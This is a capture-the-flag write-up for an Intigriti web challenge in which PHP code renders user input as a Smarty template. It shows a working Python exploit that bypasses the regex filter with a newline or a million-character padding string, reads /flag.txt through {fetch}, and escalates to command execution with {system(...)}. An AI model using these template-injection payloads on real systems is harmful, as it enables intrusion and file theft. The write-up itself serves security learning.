Intigriti brings us monthly web challenge with really interesting problems.
The Challenge
This challenge was mostly the same of the 1337up CTF 2023, called Smarty Pants
, which I solved :)
It comes with the following PHP source:
<?php
if(isset($_GET['source'])){
highlight_file(__FILE__);
die();
}
require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');
$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s';
if(!isset($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->display('index.tpl');
exit();
}
// returns true if data is malicious
function check_data($data){
global $pattern;
return preg_match($pattern,$data);
}
if(check_data($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->assign('error', 'Malicious Inputs Detected');
$smarty->display('index.tpl');
exit();
}
$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);
It basically:
- Gets a string from a POST
- Blocks some SSTI and XSS, using a RegEx filter.
- Uses our string as a Template for the Smarty template engine.
The Smarty template allows us to use advanced functions, by using template tags enclosed by curly braces: {
and }
.
e.g:
<h1>{$title|escape}</h1>
<ul>
{foreach $cities as $city}
<li>{$city.name|escape} ({$city.population})</li>
{foreachelse}
<li>no cities found</li>
{/foreach}
</ul>
Solution for the CTF
The Smarty documentation gives us a simple solution for getting the flag:
The fetch function allows us to display the contents of a file, as simple as that:
{fetch file='/flag.txt'}
This template tag fetches the flag, but is blocked by the Regex filter. On the CTF challenge, the filter was this:
/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/
To bypass this filter, I used an unintended solution, which was a line break:
{fetch file='/flag.txt'
}
That gave us the CTF challenge flag.
INTIGRITI{php_4nd_1ts_many_f00tgun5}
Solution for the December challenge
On the December challenge, there was a small, but deadly change on the RegEx filter. The s
in the end:
/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s
This small modifier makes the .
match the newline, which blocks our previous solution.
While studying ways to bypass the regex, I found that big strings can break the regex: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#length-error-bypass
So, the plan was to send a huge string. At first, I was blocked by HTTP 413, but working on the size, I found the right size to break it.
"{fetch file='/flag.txt'}"+("a"*1000000)
This is basically the same payload, with a lot of a
’s after it.
The final exploit was this:
import requests
data = {
'data': "{fetch file='/flag.txt'}"+("a"*1000000),
}
response = requests.post('https://challenge-1223.intigriti.io/challenge.php', data=data)
print(response.status_code)
print(response.text)
And by running it, we get the flag:
$ python int_dez23.py | cut -c-100
200
INTIGRITI{7h3_fl46_l457_71m3_w45_50_1r0n1c!}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Flag
INTIGRITI{7h3_fl46_l457_71m3_w45_50_1r0n1c!}
Increasing the impact
Just found I can also RCE with the {system}
function.
{system('cat /flag.txt')}aaa...
python int_dez23.py | cut -c-100
200
challenge.php
index.php
resources
The impact is higher :)
References
- Twitter: @NeptunianHacks
- Team: FireShell
- Team Twitter